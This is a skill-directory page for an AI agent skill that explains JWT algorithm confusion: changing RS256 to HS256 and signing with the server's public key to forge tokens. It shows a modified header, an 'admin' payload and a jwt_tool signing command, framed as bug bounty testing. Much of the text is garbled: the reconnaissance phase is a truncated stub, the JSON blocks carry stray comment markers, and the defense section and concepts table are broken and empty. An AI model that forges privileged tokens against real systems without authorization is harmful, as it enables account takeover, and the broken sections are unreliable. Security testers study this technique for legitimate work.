# JWT Algorithm Confusion

> Identify and exploit Algorithm Confusion vulnerabilities in JSON Web Tokens (JWT). This skill details how to bypass signature verification by changing the signing algorithm from asymmetric (RS256) to symmetric (HS256) and using the public key as the symmetric secret.

- Skill: `shulkwisec/jwt-algorithm-confusion` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds add shulkwisec/jwt-algorithm-confusion`
- Raw SKILL.md: https://api.skillmd.com/api/skills/shulkwisec/jwt-algorithm-confusion/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: Apache-2.0
- Author: ShulkwiSEC (https://skillmd.com/u/shulkwisec)
- Updated: 2026-09-08
- Page: https://skillmd.com/skills/shulkwisec/jwt-algorithm-confusion

---


# JWT Algorithm Confusion

## When to Use
- When testing APIs or web applications that use JWTs for session management or authentication.
- To attempt to forge arbitrary JWTs (e.g., escalating to 'admin') when the application utilizes an asymmetric signature algorithm (like RS256) and the application's public key can be obtained.


## Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration

## Workflow

### Phase 1: Reconnaissance (Finding the Public Key)

```text
# Concept: JWT Algorithm Confusion ```

### Phase 2: Intercepting and Modifying the JWT Header

```json
// {
  "alg": "HS256",
  "typ": "JWT"
}
```

### Phase 3: Modifying the Payload (Privilege Escalation)

```json
// {
  "user": "attacker",
  "role": "admin",
  "iat": 1716260400
}
```

### Phase 4: Signing the Forged JWT

```bash
# jwt_tool.py [ENCODED_HEADER].[ENCODED_PAYLOAD] -S hs256 -k public_key.pem
```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Forge JWT ] --> B{Server Accepts? ]}
    B -->|Yes| C[Exploit API ]
    B -->|No| D[Check None Alg ]
    C --> E[Document Flaw ]
```


## 🔵 Blue Team Detection & Defense
- **Enforce Algorithm Verification**: **Library Updates**: **Public Key Secrecy (Symmetric fallback)**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Jwt Algorithm Confusion — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]
```


## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- PortSwigger: [JWT algorithm confusion](https://portswigger.net/web-security/jwt/algorithm-confusion)
- Auth0: [Critical vulnerabilities in JSON Web Token libraries](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/)